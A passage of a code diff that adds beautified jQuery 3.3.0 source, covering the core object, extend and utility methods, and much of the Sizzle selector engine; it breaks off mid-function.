+ v = { type: !0, src: !0, noModule: !0 };
+ function m(e, t, n) {
+ var i,
+ o = (t = t || r).createElement("script");
+ if (((o.text = e), n)) for (i in v) n[i] && (o[i] = n[i]);
+ t.head.appendChild(o).parentNode.removeChild(o);
+ }
+ function x(e) {
+ return null == e
+ ? e + ""
+ : "object" == typeof e || "function" == typeof e
+ ? l[c.call(e)] || "object"
+ : typeof e;
+ }
+ var b = "3.3.0",
+ w = function (e, t) {
+ return new w.fn.init(e, t);
+ },
+ T = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;
+ (w.fn = w.prototype =
+ {
+ jquery: "3.3.0",
+ constructor: w,
+ length: 0,
+ toArray: function () {
+ return o.call(this);
+ },
+ get: function (e) {
+ return null == e
+ ? o.call(this)
+ : e < 0
+ ? this[e + this.length]
+ : this[e];
+ },
+ pushStack: function (e) {
+ var t = w.merge(this.constructor(), e);
+ return (t.prevObject = this), t;
+ },
+ each: function (e) {
+ return w.each(this, e);
+ },
+ map: function (e) {
+ return this.pushStack(
+ w.map(this, function (t, n) {
+ return e.call(t, n, t);
+ })
+ );
+ },
+ slice: function () {
+ return this.pushStack(o.apply(this, arguments));
+ },
+ first: function () {
+ return this.eq(0);
+ },
+ last: function () {
+ return this.eq(-1);
+ },
+ eq: function (e) {
+ var t = this.length,
+ n = +e + (e < 0 ? t : 0);
+ return this.pushStack(n >= 0 && n < t ? [this[n]] : []);
+ },
+ end: function () {
+ return this.prevObject || this.constructor();
+ },
+ push: s,
+ sort: n.sort,
+ splice: n.splice,
+ }),
+ (w.extend = w.fn.extend =
+ function () {
+ var e,
+ t,
+ n,
+ r,
+ i,
+ o,
+ a = arguments[0] || {},
+ s = 1,
+ u = arguments.length,
+ l = !1;
+ for (
+ "boolean" == typeof a && ((l = a), (a = arguments[s] || {}), s++),
+ "object" == typeof a || g(a) || (a = {}),
+ s === u && ((a = this), s--);
+ s < u;
+ s++
+ )
+ if (null != (e = arguments[s]))
+ for (t in e)
+ (n = a[t]),
+ a !== (r = e[t]) &&
+ (l && r && (w.isPlainObject(r) || (i = Array.isArray(r)))
+ ? (i
+ ? ((i = !1), (o = n && Array.isArray(n) ? n : []))
+ : (o = n && w.isPlainObject(n) ? n : {}),
+ (a[t] = w.extend(l, o, r)))
+ : void 0 !== r && (a[t] = r));
+ return a;
+ }),
+ w.extend({
+ expando: "jQuery" + ("3.3.0" + Math.random()).replace(/\D/g, ""),
+ isReady: !0,
+ error: function (e) {
+ throw new Error(e);
+ },
+ noop: function () {},
+ isPlainObject: function (e) {
+ var t, n;
+ return (
+ !(!e || "[object Object]" !== c.call(e)) &&
+ (!(t = i(e)) ||
+ ("function" ==
+ typeof (n = f.call(t, "constructor") && t.constructor) &&
+ p.call(n) === d))
+ );
+ },
+ isEmptyObject: function (e) {
+ var t;
+ for (t in e) return !1;
+ return !0;
+ },
+ globalEval: function (e) {
+ m(e);
+ },
+ each: function (e, t) {
+ var n,
+ r = 0;
+ if (C(e)) {
+ for (n = e.length; r < n; r++)
+ if (!1 === t.call(e[r], r, e[r])) break;
+ } else for (r in e) if (!1 === t.call(e[r], r, e[r])) break;
+ return e;
+ },
+ trim: function (e) {
+ return null == e ? "" : (e + "").replace(T, "");
+ },
+ makeArray: function (e, t) {
+ var n = t || [];
+ return (
+ null != e &&
+ (C(Object(e))
+ ? w.merge(n, "string" == typeof e ? [e] : e)
+ : s.call(n, e)),
+ n
+ );
+ },
+ inArray: function (e, t, n) {
+ return null == t ? -1 : u.call(t, e, n);
+ },
+ merge: function (e, t) {
+ for (var n = +t.length, r = 0, i = e.length; r < n; r++) e[i++] = t[r];
+ return (e.length = i), e;
+ },
+ grep: function (e, t, n) {
+ for (var r, i = [], o = 0, a = e.length, s = !n; o < a; o++)
+ (r = !t(e[o], o)) !== s && i.push(e[o]);
+ return i;
+ },
+ map: function (e, t, n) {
+ var r,
+ i,
+ o = 0,
+ s = [];
+ if (C(e))
+ for (r = e.length; o < r; o++)
+ null != (i = t(e[o], o, n)) && s.push(i);
+ else for (o in e) null != (i = t(e[o], o, n)) && s.push(i);
+ return a.apply([], s);
+ },
+ guid: 1,
+ support: h,
+ }),
+ "function" == typeof Symbol && (w.fn[Symbol.iterator] = n[Symbol.iterator]),
+ w.each(
+ "Boolean Number String Function Array Date RegExp Object Error Symbol".split(
+ " "
+ ),
+ function (e, t) {
+ l["[object " + t + "]"] = t.toLowerCase();
+ }
+ );
+ function C(e) {
+ var t = !!e && "length" in e && e.length,
+ n = x(e);
+ return (
+ !g(e) &&
+ !y(e) &&
+ ("array" === n ||
+ 0 === t ||
+ ("number" == typeof t && t > 0 && t - 1 in e))
+ );
+ }
+ var E = (function (e) {
+ var t,
+ n,
+ r,
+ i,
+ o,
+ a,
+ s,
+ u,
+ l,
+ c,
+ f,
+ p,
+ d,
+ h,
+ g,
+ y,
+ v,
+ m,
+ x,
+ b = "sizzle" + 1 * new Date(),
+ w = e.document,
+ T = 0,
+ C = 0,
+ E = ae(),
+ k = ae(),
+ S = ae(),
+ D = function (e, t) {
+ return e === t && (f = !0), 0;
+ },
+ N = {}.hasOwnProperty,
+ A = [],
+ j = A.pop,
+ q = A.push,
+ L = A.push,
+ H = A.slice,
+ O = function (e, t) {
+ for (var n = 0, r = e.length; n < r; n++) if (e[n] === t) return n;
+ return -1;
+ },
+ P =
+ "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
+ M = "[\\x20\\t\\r\\n\\f]",
+ R = "(?:\\\\.|[\\w-]|[^\0-\\xa0])+",
+ I =
+ "\\[" +
+ M +
+ "*(" +
+ R +
+ ")(?:" +
+ M +
+ "*([*^$|!~]?=)" +
+ M +
+ "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" +
+ R +
+ "))|)" +
+ M +
+ "*\\]",
+ W =
+ ":(" +
+ R +
+ ")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|" +
+ I +
+ ")*)|.*)\\)|)",
+ $ = new RegExp(M + "+", "g"),
+ B = new RegExp("^" + M + "+|((?:^|[^\\\\])(?:\\\\.)*)" + M + "+$", "g"),
+ F = new RegExp("^" + M + "*," + M + "*"),
+ _ = new RegExp("^" + M + "*([>+~]|" + M + ")" + M + "*"),
+ z = new RegExp("=" + M + "*([^\\]'\"]*?)" + M + "*\\]", "g"),
+ X = new RegExp(W),
+ U = new RegExp("^" + R + "$"),
+ V = {
+ ID: new RegExp("^#(" + R + ")"),
+ CLASS: new RegExp("^\\.(" + R + ")"),
+ TAG: new RegExp("^(" + R + "|[*])"),
+ ATTR: new RegExp("^" + I),
+ PSEUDO: new RegExp("^" + W),
+ CHILD: new RegExp(
+ "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" +
+ M +
+ "*(even|odd|(([+-]|)(\\d*)n|)" +
+ M +
+ "*(?:([+-]|)" +
+ M +
+ "*(\\d+)|))" +
+ M +
+ "*\\)|)",
+ "i"
+ ),
+ bool: new RegExp("^(?:" + P + ")$", "i"),
+ needsContext: new RegExp(
+ "^" +
+ M +
+ "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" +
+ M +
+ "*((?:-\\d)?\\d*)" +
+ M +
+ "*\\)|)(?=[^-]|$)",
+ "i"
+ ),
+ },
+ G = /^(?:input|select|textarea|button)$/i,
+ Y = /^h\d$/i,
+ Q = /^[^{]+\{\s*\[native \w/,
+ J = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
+ K = /[+~]/,
+ Z = new RegExp("\\\\([\\da-f]{1,6}" + M + "?|(" + M + ")|.)", "ig"),
+ ee = function (e, t, n) {
+ var r = "0x" + t - 65536;
+ return r !== r || n
+ ? t
+ : r < 0
+ ? String.fromCharCode(r + 65536)
+ : String.fromCharCode((r >> 10) | 55296, (1023 & r) | 56320);
+ },
+ te = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,
+ ne = function (e, t) {
+ return t
+ ? "\0" === e
+ ? "\ufffd"
+ : e.slice(0, -1) +
+ "\\" +
+ e.charCodeAt(e.length - 1).toString(16) +
+ " "
+ : "\\" + e;
+ },
+ re = function () {
+ p();
+ },
+ ie = me(
+ function (e) {
+ return !0 === e.disabled && ("form" in e || "label" in e);
+ },
+ { dir: "parentNode", next: "legend" }
+ );
+ try {
+ L.apply((A = H.call(w.childNodes)), w.childNodes),
+ A[w.childNodes.length].nodeType;
+ } catch (e) {
+ L = {
+ apply: A.length
+ ? function (e, t) {
+ q.apply(e, H.call(t));
+ }
+ : function (e, t) {
+ var n = e.length,
+ r = 0;
+ while ((e[n++] = t[r++]));
+ e.length = n - 1;
+ },
+ };
+ }
+ function oe(e, t, r, i) {
+ var o,
+ s,
+ l,
+ c,
+ f,
+ h,
+ v,
+ m = t && t.ownerDocument,
+ T = t ? t.nodeType : 9;
+ if (
+ ((r = r || []),
+ "string" != typeof e || !e || (1 !== T && 9 !== T && 11 !== T))
+ )
+ return r;
+ if (
+ !i &&
+ ((t ? t.ownerDocument || t : w) !== d && p(t), (t = t || d), g)
+ ) {
+ if (11 !== T && (f = J.exec(e)))
+ if ((o = f[1])) {
+ if (9 === T) {
+ if (!(l = t.getElementById(o))) return r;
+ if (l.id === o) return r.push(l), r;
+ } else if (m && (l = m.getElementById(o)) && x(t, l) && l.id === o)
+ return r.push(l), r;
+ } else {
+ if (f[2]) return L.apply(r, t.getElementsByTagName(e)), r;
+ if (
+ (o = f[3]) &&
+ n.getElementsByClassName &&
+ t.getElementsByClassName
+ )
+ return L.apply(r, t.getElementsByClassName(o)), r;
+ }
+ if (n.qsa && !S[e + " "] && (!y || !y.test(e))) {
+ if (1 !== T) (m = t), (v = e);
+ else if ("object" !== t.nodeName.toLowerCase()) {
+ (c = t.getAttribute("id"))
+ ? (c = c.replace(te, ne))
+ : t.setAttribute("id", (c = b)),
+ (s = (h = a(e)).length);
+ while (s--) h[s] = "#" + c + " " + ve(h[s]);
+ (v = h.join(",")), (m = (K.test(e) && ge(t.parentNode)) || t);
+ }
+ if (v)
+ try {
+ return L.apply(r, m.querySelectorAll(v)), r;
+ } catch (e) {
+ } finally {
+ c === b && t.removeAttribute("id");
+ }
+ }
+ }
+ return u(e.replace(B, "$1"), t, r, i);
+ }
+ function ae() {
+ var e = [];
+ function t(n, i) {
+ return (
+ e.push(n + " ") > r.cacheLength && delete t[e.shift()],
+ (t[n + " "] = i)
+ );
+ }
+ return t;
+ }
+ function se(e) {
+ return (e[b] = !0), e;
+ }
+ function ue(e) {
+ var t = d.createElement("fieldset");
+ try {
+ return !!e(t);
+ } catch (e) {
+ return !1;
+ } finally {
+ t.parentNode && t.parentNode.removeChild(t), (t = null);
+ }
+ }
+ function le(e, t) {
+ var n = e.split("|"),
+ i = n.length;
+ while (i--) r.attrHandle[n[i]] = t;
+ }
+ function ce(e, t) {
+ var n = t && e,
+ r =
+ n &&
+ 1 === e.nodeType &&
+ 1 === t.nodeType &&
+ e.sourceIndex - t.sourceIndex;
+ if (r) return r;
+ if (n) while ((n = n.nextSibling)) if (n === t) return -1;
+ return e ? 1 : -1;
+ }
+ function fe(e) {
+ return function (t) {
+ return "input" === t.nodeName.toLowerCase() && t.type === e;
+ };
+ }
+ function pe(e) {
+ return function (t) {
+ var n = t.nodeName.toLowerCase();
+ return ("input" === n || "button" === n) && t.type === e;
+ };
+ }
+ function de(e) {
+ return function (t) {
+ return "form" in t
+ ? t.parentNode && !1 === t.disabled
+ ? "label" in t
+ ? "label" in t.parentNode
+ ? t.parentNode.disabled === e
+ : t.disabled === e
+ : t.isDisabled === e || (t.isDisabled !== !e && ie(t) === e)
+ : t.disabled === e
+ : "label" in t && t.disabled === e;
+ };
+ }
+ function he(e) {
+ return se(function (t) {
+ return (
+ (t = +t),
+ se(function (n, r) {
+ var i,
+ o = e([], n.length, t),
+ a = o.length;
+ while (a--) n[(i = o[a])] && (n[i] = !(r[i] = n[i]));
+ })
+ );
+ });
+ }
+ function ge(e) {
+ return e && "undefined" != typeof e.getElementsByTagName && e;
+ }
+ (n = oe.support = {}),
+ (o = oe.isXML =
+ function (e) {
+ var t = e && (e.ownerDocument || e).documentElement;
+ return !!t && "HTML" !== t.nodeName;
+ }),
+ (p = oe.setDocument =
+ function (e) {
+ var t,
+ i,
+ a = e ? e.ownerDocument || e : w;
+ return a !== d && 9 === a.nodeType && a.documentElement
+ ? ((d = a),
+ (h = d.documentElement),
+ (g = !o(d)),
+ w !== d &&
+ (i = d.defaultView) &&
+ i.top !== i &&
+ (i.addEventListener
+ ? i.addEventListener("unload", re, !1)
+ : i.attachEvent && i.attachEvent("onunload", re)),
+ (n.attributes = ue(function (e) {
+ return (e.className = "i"), !e.getAttribute("className");
+ })),
+ (n.getElementsByTagName = ue(function (e) {
+ return (
+ e.appendChild(d.createComment("")),
+ !e.getElementsByTagName("*").length
+ );
+ })),
+ (n.getElementsByClassName = Q.test(d.getElementsByClassName)),
+ (n.getById = ue(function (e) {
+ return (
+ (h.appendChild(e).id = b),
+ !d.getElementsByName || !d.getElementsByName(b).length
+ );
+ })),
+ n.getById
+ ? ((r.filter.ID = function (e) {
+ var t = e.replace(Z, ee);
+ return function (e) {
+ return e.getAttribute("id") === t;
+ };
+ }),
+ (r.find.ID = function (e, t) {
+ if ("undefined" != typeof t.getElementById && g) {
+ var n = t.getElementById(e);
+ return n ? [n] : [];
+ }
+ }))
+ : ((r.filter.ID = function (e) {
+ var t = e.replace(Z, ee);
+ return function (e) {
+ var n =
+ "undefined" != typeof e.getAttributeNode &&
+ e.getAttributeNode("id");
+ return n && n.value === t;
+ };
+ }),
+ (r.find.ID = function (e, t) {
+ if ("undefined" != typeof t.getElementById && g) {
+ var n,
+ r,
+ i,
+ o = t.getElementById(e);
+ if (o) {
+ if ((n = o.getAttributeNode("id")) && n.value === e)
+ return [o];
+ (i = t.getElementsByName(e)), (r = 0);
+ while ((o = i[r++]))
+ if ((n = o.getAttributeNode("id")) && n.value === e)
+ return [o];
+ }
+ return [];
+ }
+ })),
+ (r.find.TAG = n.getElementsByTagName
+ ? function (e, t) {
+ return "undefined" != typeof t.getElementsByTagName
+ ? t.getElementsByTagName(e)
+ : n.qsa
+ ? t.querySelectorAll(e)
+ : void 0;
+ }
+ : function (e, t) {
+ var n,
+ r = [],
+ i = 0,
+ o = t.getElementsByTagName(e);
+ if ("*" === e) {
+ while ((n = o[i++])) 1 === n.nodeType && r.push(n);
+ return r;
+ }
+ return o;
+ }),
+ (r.find.CLASS =
+ n.getElementsByClassName &&
+ function (e, t) {
+ if ("undefined" != typeof t.getElementsByClassName && g)
+ return t.getElementsByClassName(e);
+ }),
+ (v = []),
+ (y = []),
+ (n.qsa = Q.test(d.querySelectorAll)) &&
+ (ue(function (e) {
+ (h.appendChild(e).innerHTML =
+ ""),
+ e.querySelectorAll("[msallowcapture^='']").length &&
+ y.push("[*^$]=" + M + "*(?:''|\"\")"),
+ e.querySelectorAll("[selected]").length ||
+ y.push("\\[" + M + "*(?:value|" + P + ")"),
+ e.querySelectorAll("[id~=" + b + "-]").length ||
+ y.push("~="),
+ e.querySelectorAll(":checked").length || y.push(":checked"),
+ e.querySelectorAll("a#" + b + "+*").length ||
+ y.push(".#.+[+~]");
+ }),
+ ue(function (e) {
+ e.innerHTML =
+ "";
+ var t = d.createElement("input");
+ t.setAttribute("type", "hidden"),
+ e.appendChild(t).setAttribute("name", "D"),
+ e.querySelectorAll("[name=d]").length &&
+ y.push("name" + M + "*[*^$|!~]?="),
+ 2 !== e.querySelectorAll(":enabled").length &&
+ y.push(":enabled", ":disabled"),
+ (h.appendChild(e).disabled = !0),
+ 2 !== e.querySelectorAll(":disabled").length &&
+ y.push(":enabled", ":disabled"),
+ e.querySelectorAll("*,:x"),
+ y.push(",.*:");
+ })),
+ (n.matchesSelector = Q.test(
+ (m =
+ h.matches ||
+ h.webkitMatchesSelector ||
+ h.mozMatchesSelector ||
+ h.oMatchesSelector ||
+ h.msMatchesSelector)
+ )) &&
+ ue(function (e) {
+ (n.disconnectedMatch = m.call(e, "*")),
+ m.call(e, "[s!='']:x"),
+ v.push("!=", W);
+ }),
+ (y = y.length && new RegExp(y.join("|"))),
+ (v = v.length && new RegExp(v.join("|"))),
+ (t = Q.test(h.compareDocumentPosition)),
+ (x =
+ t || Q.test(h.contains)
+ ? function (e, t) {
+ var n = 9 === e.nodeType ? e.documentElement : e,
+ r = t && t.parentNode;
+ return (
+ e === r ||
+ !(
+ !r ||
+ 1 !== r.nodeType ||
+ !(n.contains
+ ? n.contains(r)
+ : e.compareDocumentPosition &&
+ 16 & e.compareDocumentPosition(r))
+ )
+ );
+ }
+ : function (e, t) {
+ if (t) while ((t = t.parentNode)) if (t === e) return !0;
+ return !1;
+ }),
+ (D = t
+ ? function (e, t) {
+ if (e === t) return (f = !0), 0;
+ var r =
+ !e.compareDocumentPosition - !t.compareDocumentPosition;
+ return (
+ r ||
+ (1 &
+ (r =
+ (e.ownerDocument || e) === (t.ownerDocument || t)
+ ? e.compareDocumentPosition(t)
+ : 1) ||
+ (!n.sortDetached && t.compareDocumentPosition(e) === r)
+ ? e === d || (e.ownerDocument === w && x(w, e))
+ ? -1
+ : t === d || (t.ownerDocument === w && x(w, t))
+ ? 1
+ : c
+ ? O(c, e) - O(c, t)
+ : 0
+ : 4 & r
+ ? -1
+ : 1)
+ );
+ }
+ : function (e, t) {
+ if (e === t) return (f = !0), 0;
+ var n,
+ r = 0,
+ i = e.parentNode,
+ o = t.parentNode,
+ a = [e],
+ s = [t];
+ if (!i || !o)
+ return e === d
+ ? -1
+ : t === d
+ ? 1
+ : i
+ ? -1
+ : o
+ ? 1
+ : c
+ ? O(c, e) - O(c, t)
+ : 0;
+ if (i === o) return ce(e, t);
+ n = e;
+ while ((n = n.parentNode)) a.unshift(n);
+ n = t;
+ while ((n = n.parentNode)) s.unshift(n);
+ while (a[r] === s[r]) r++;
+ return r
+ ? ce(a[r], s[r])
+ : a[r] === w
+ ? -1
+ : s[r] === w
+ ? 1
+ : 0;
+ }),
+ d)
+ : d;
+ }),
+ (oe.matches = function (e, t) {
+ return oe(e, null, null, t);
+ }),
+ (oe.matchesSelector = function (e, t) {
+ if (
+ ((e.ownerDocument || e) !== d && p(e),
+ (t = t.replace(z, "='$1']")),
+ n.matchesSelector &&
+ g &&
+ !S[t + " "] &&
+ (!v || !v.test(t)) &&
+ (!y || !y.test(t)))
+ )
+ try {
+ var r = m.call(e, t);
+ if (
+ r ||
+ n.disconnectedMatch ||
+ (e.document && 11 !== e.document.nodeType)
+ )
+ return r;
+ } catch (e) {}
+ return oe(t, d, null, [e]).length > 0;
+ }),
+ (oe.contains = function (e, t) {
+ return (e.ownerDocument || e) !== d && p(e), x(e, t);
+ }),
+ (oe.attr = function (e, t) {
+ (e.ownerDocument || e) !== d && p(e);
+ var i = r.attrHandle[t.toLowerCase()],
+ o = i && N.call(r.attrHandle, t.toLowerCase()) ? i(e, t, !g) : void 0;
+ return void 0 !== o
+ ? o
+ : n.attributes || !g
+ ? e.getAttribute(t)
+ : (o = e.getAttributeNode(t)) && o.specified
+ ? o.value
+ : null;
+ }),
+ (oe.escape = function (e) {
+ return (e + "").replace(te, ne);
+ }),
+ (oe.error = function (e) {
+ throw new Error("Syntax error, unrecognized expression: " + e);
+ }),
+ (oe.uniqueSort = function (e) {
+ var t,
+ r = [],
+ i = 0,
+ o = 0;
+ if (
+ ((f = !n.detectDuplicates),
+ (c = !n.sortStable && e.slice(0)),
+ e.sort(D),
+ f)
+ ) {
+ while ((t = e[o++])) t === e[o] && (i = r.push(o));
+ while (i--) e.splice(r[i], 1);
+ }
+ return (c = null), e;
+ }),
+ (i = oe.getText =
+ function (e) {
+ var t,
+ n = "",
+ r = 0,
+ o = e.nodeType;
+ if (o) {
+ if (1 === o || 9 === o || 11 === o) {
+ if ("string" == typeof e.textContent) return e.textContent;
+ for (e = e.firstChild; e; e = e.nextSibling) n += i(e);
+ } else if (3 === o || 4 === o) return e.nodeValue;
+ } else while ((t = e[r++])) n += i(t);
+ return n;
+ }),
+ ((r = oe.selectors =
+ {
+ cacheLength: 50,
+ createPseudo: se,
+ match: V,
+ attrHandle: {},
+ find: {},
+ relative: {
+ ">": { dir: "parentNode", first: !0 },
+ " ": { dir: "parentNode" },
+ "+": { dir: "previousSibling", first: !0 },
+ "~": { dir: "previousSibling" },
+ },
+ preFilter: {
+ ATTR: function (e) {
+ return (
+ (e[1] = e[1].replace(Z, ee)),
+ (e[3] = (e[3] || e[4] || e[5] || "").replace(Z, ee)),
+ "~=" === e[2] && (e[3] = " " + e[3] + " "),
+ e.slice(0, 4)
+ );
+ },
+ CHILD: function (e) {
+ return (
+ (e[1] = e[1].toLowerCase()),
+ "nth" === e[1].slice(0, 3)
+ ? (e[3] || oe.error(e[0]),
+ (e[4] = +(e[4]
+ ? e[5] + (e[6] || 1)
+ : 2 * ("even" === e[3] || "odd" === e[3]))),
+ (e[5] = +(e[7] + e[8] || "odd" === e[3])))
+ : e[3] && oe.error(e[0]),
+ e
+ );
+ },
+ PSEUDO: function (e) {
+ var t,
+ n = !e[6] && e[2];
+ return V.CHILD.test(e[0])
+ ? null
+ : (e[3]
+ ? (e[2] = e[4] || e[5] || "")
+ : n &&
+ X.test(n) &&
+ (t = a(n, !0)) &&
+ (t = n.indexOf(")", n.length - t) - n.length) &&
+ ((e[0] = e[0].slice(0, t)), (e[2] = n.slice(0, t))),
+ e.slice(0, 3));
+ },
+ },
+ filter: {
+ TAG: function (e) {
+ var t = e.replace(Z, ee).toLowerCase();
+ return "*" === e
+ ? function () {
+ return !0;
+ }
+ : function (e) {
+ return e.nodeName && e.nodeName.toLowerCase() === t;
+ };
+ },
+ CLASS: function (e) {
+ var t = E[e + " "];
+ return (
+ t ||
+ ((t = new RegExp("(^|" + M + ")" + e + "(" + M + "|$)")) &&
+ E(e, function (e) {
+ return t.test(
+ ("string" == typeof e.className && e.className) ||
+ ("undefined" != typeof e.getAttribute &&
+ e.getAttribute("class")) ||
+ ""
+ );
+ }))
+ );
+ },
+ ATTR: function (e, t, n) {
+ return function (r) {
+ var i = oe.attr(r, e);
+ return null == i
+ ? "!=" === t
+ : !t ||
+ ((i += ""),
+ "=" === t
+ ? i === n
+ : "!=" === t
+ ? i !== n
+ : "^=" === t
+ ? n && 0 === i.indexOf(n)
+ : "*=" === t
+ ? n && i.indexOf(n) > -1
+ : "$=" === t
+ ? n && i.slice(-n.length) === n
+ : "~=" === t
+ ? (" " + i.replace($, " ") + " ").indexOf(n) > -1
+ : "|=" === t &&
+ (i === n || i.slice(0, n.length + 1) === n + "-"));
+ };
+ },
+ CHILD: function (e, t, n, r, i) {
+ var o = "nth" !== e.slice(0, 3),
+ a = "last" !== e.slice(-4),
+ s = "of-type" === t;
+ return 1 === r && 0 === i
+ ? function (e) {
+ return !!e.parentNode;
+ }
+ : function (t, n, u) {
+ var l,
+ c,
+ f,
+ p,
+ d,
+ h,
+ g = o !== a ? "nextSibling" : "previousSibling",
+ y = t.parentNode,
+ v = s && t.nodeName.toLowerCase(),
+ m = !u && !s,
+ x = !1;
+ if (y) {
+ if (o) {
+ while (g) {
+ p = t;
+ while ((p = p[g]))
+ if (
+ s
+ ? p.nodeName.toLowerCase() === v
+ : 1 === p.nodeType
+ )
+ return !1;
+ h = g = "only" === e && !h && "nextSibling";
+ }
+ return !0;
+ }
+ if (((h = [a ? y.firstChild : y.lastChild]), a && m)) {
+ (x =
+ (d =
+ (l =
+ (c =
+ (f = (p = y)[b] || (p[b] = {}))[p.uniqueID] ||
+ (f[p.uniqueID] = {}))[e] || [])[0] === T &&
+ l[1]) && l[2]),
+ (p = d && y.childNodes[d]);
+ while (
+ (p = (++d && p && p[g]) || (x = d = 0) || h.pop())
+ )
+ if (1 === p.nodeType && ++x && p === t) {
+ c[e] = [T, d, x];
+ break;
+ }
+ } else if (
+ (m &&
+ (x = d =
+ (l =
+ (c =
+ (f = (p = t)[b] || (p[b] = {}))[p.uniqueID] ||
+ (f[p.uniqueID] = {}))[e] || [])[0] === T &&
+ l[1]),
+ !1 === x)
+ )
+ while (
+ (p = (++d && p && p[g]) || (x = d = 0) || h.pop())
+ )
+ if (
+ (s
+ ? p.nodeName.toLowerCase() === v
+ : 1 === p.nodeType) &&
+ ++x &&
+ (m &&
+ ((c =
+ (f = p[b] || (p[b] = {}))[p.uniqueID] ||
+ (f[p.uniqueID] = {}))[e] = [T, x]),
+ p === t)
+ )
+ break;
+ return (x -= i) === r || (x % r == 0 && x / r >= 0);
+ }
+ };
+ },
+ PSEUDO: function (e, t) {
+ var n,
+ i =
+ r.pseudos[e] ||
+ r.setFilters[e.toLowerCase()] ||
+ oe.error("unsupported pseudo: " + e);
+ return i[b]
+ ? i(t)
+ : i.length > 1
+ ? ((n = [e, e, "", t]),
+ r.setFilters.hasOwnProperty(e.toLowerCase())
+ ? se(function (e, n) {
+ var r,
+ o = i(e, t),
+ a = o.length;
+ while (a--) e[(r = O(e, o[a]))] = !(n[r] = o[a]);
+ })
+ : function (e) {
+ return i(e, 0, n);
+ })
+ : i;
+ },
+ },
+ pseudos: {
+ not: se(function (e) {
+ var t = [],
+ n = [],
+ r = s(e.replace(B, "$1"));
+ return r[b]
+ ? se(function (e, t, n, i) {
+ var o,
+ a = r(e, null, i, []),
+ s = e.length;
+ while (s--) (o = a[s]) && (e[s] = !(t[s] = o));
+ })
+ : function (e, i, o) {
+ return (
+ (t[0] = e), r(t, null, o, n), (t[0] = null), !n.pop()
+ );
+ };
+ }),
+ has: se(function (e) {
+ return function (t) {
+ return oe(e, t).length > 0;
+ };
+ }),
+ contains: se(function (e) {
+ return (
+ (e = e.replace(Z, ee)),
+ function (t) {
+ return (t.textContent || t.innerText || i(t)).indexOf(e) > -1;
+ }
+ );
+ }),
+ lang: se(function (e) {
+ return (
+ U.test(e || "") || oe.error("unsupported lang: " + e),
+ (e = e.replace(Z, ee).toLowerCase()),
+ function (t) {
+ var n;
+ do {
+ if (
+ (n = g
+ ? t.lang
+ : t.getAttribute("xml:lang") || t.getAttribute("lang"))
+ )
+ return (
+ (n = n.toLowerCase()) === e || 0 === n.indexOf(e + "-")
+ );
+ } while ((t = t.parentNode) && 1 === t.nodeType);
+ return !1;
+ }
+ );
+ }),
+ target: function (t) {
+ var n = e.location && e.location.hash;
+ return n && n.slice(1) === t.id;
+ },
+ root: function (e) {
+ return e === h;
+ },
+ focus: function (e) {
+ return (
+ e === d.activeElement &&
+ (!d.hasFocus || d.hasFocus()) &&
+ !!(e.type || e.href || ~e.tabIndex)
+ );
+ },
+ enabled: de(!1),
+ disabled: de(!0),
+ checked: function (e) {
+ var t = e.nodeName.toLowerCase();
+ return (
+ ("input" === t && !!e.checked) ||
+ ("option" === t && !!e.selected)
+ );
+ },
+ selected: function (e) {
+ return (
+ e.parentNode && e.parentNode.selectedIndex, !0 === e.selected
+ );
+ },
+ empty: function (e) {
+ for (e = e.firstChild; e; e = e.nextSibling)
+ if (e.nodeType < 6) return !1;
+ return !0;
+ },
+ parent: function (e) {
+ return !r.pseudos.empty(e);
+ },
+ header: function (e) {
+ return Y.test(e.nodeName);
+ },
+ input: function (e) {
+ return G.test(e.nodeName);
+ },
+ button: function (e) {
+ var t = e.nodeName.toLowerCase();
+ return ("input" === t && "button" === e.type) || "button" === t;
+ },
+ text: function (e) {
+ var t;
+ return (
+ "input" === e.nodeName.toLowerCase() &&
+ "text" === e.type &&
+ (null == (t = e.getAttribute("type")) ||
+ "text" === t.toLowerCase())
+ );
+ },
+ first: he(function () {
+ return [0];
+ }),
+ last: he(function (e, t) {
+ return [t - 1];
+ }),
+ eq: he(function (e, t, n) {
+ return [n < 0 ? n + t : n];
+ }),
+ even: he(function (e, t) {
+ for (var n = 0; n < t; n += 2) e.push(n);
+ return e;
+ }),
+ odd: he(function (e, t) {
+ for (var n = 1; n < t; n += 2) e.push(n);
+ return e;
+ }),
+ lt: he(function (e, t, n) {
+ for (var r = n < 0 ? n + t : n; --r >= 0; ) e.push(r);
+ return e;
+ }),
+ gt: he(function (e, t, n) {
+ for (var r = n < 0 ? n + t : n; ++r < t; ) e.push(r);
+ return e;
+ }),
+ },
+ }).pseudos.nth = r.pseudos.eq);
+ for (t in { radio: !0, checkbox: !0, file: !0, password: !0, image: !0 })
+ r.pseudos[t] = fe(t);
+ for (t in { submit: !0, reset: !0 }) r.pseudos[t] = pe(t);
+ function ye() {}
+ (ye.prototype = r.filters = r.pseudos),
+ (r.setFilters = new ye()),
+ (a = oe.tokenize =
+ function (e, t) {
+ var n,
+ i,
+ o,
+ a,
+ s,
+ u,
+ l,
+ c = k[e + " "];
+ if (c) return t ? 0 : c.slice(0);
+ (s = e), (u = []), (l = r.preFilter);
+ while (s) {
+ (n && !(i = F.exec(s))) ||
+ (i && (s = s.slice(i[0].length) || s), u.push((o = []))),
+ (n = !1),
+ (i = _.exec(s)) &&
+ ((n = i.shift()),
+ o.push({ value: n, type: i[0].replace(B, " ") }),
+ (s = s.slice(n.length)));
+ for (a in r.filter)
+ !(i = V[a].exec(s)) ||
+ (l[a] && !(i = l[a](i))) ||
+ ((n = i.shift()),
+ o.push({ value: n, type: a, matches: i }),
+ (s = s.slice(n.length)));
+ if (!n) break;
+ }
+ return t ? s.length : s ? oe.error(e) : k(e, u).slice(0);
+ });
+ function ve(e) {
+ for (var t = 0, n = e.length, r = ""; t < n; t++) r += e[t].value;
+ return r;
+ }
+ function me(e, t, n) {
+ var r = t.dir,
+ i = t.next,
+ o = i || r,
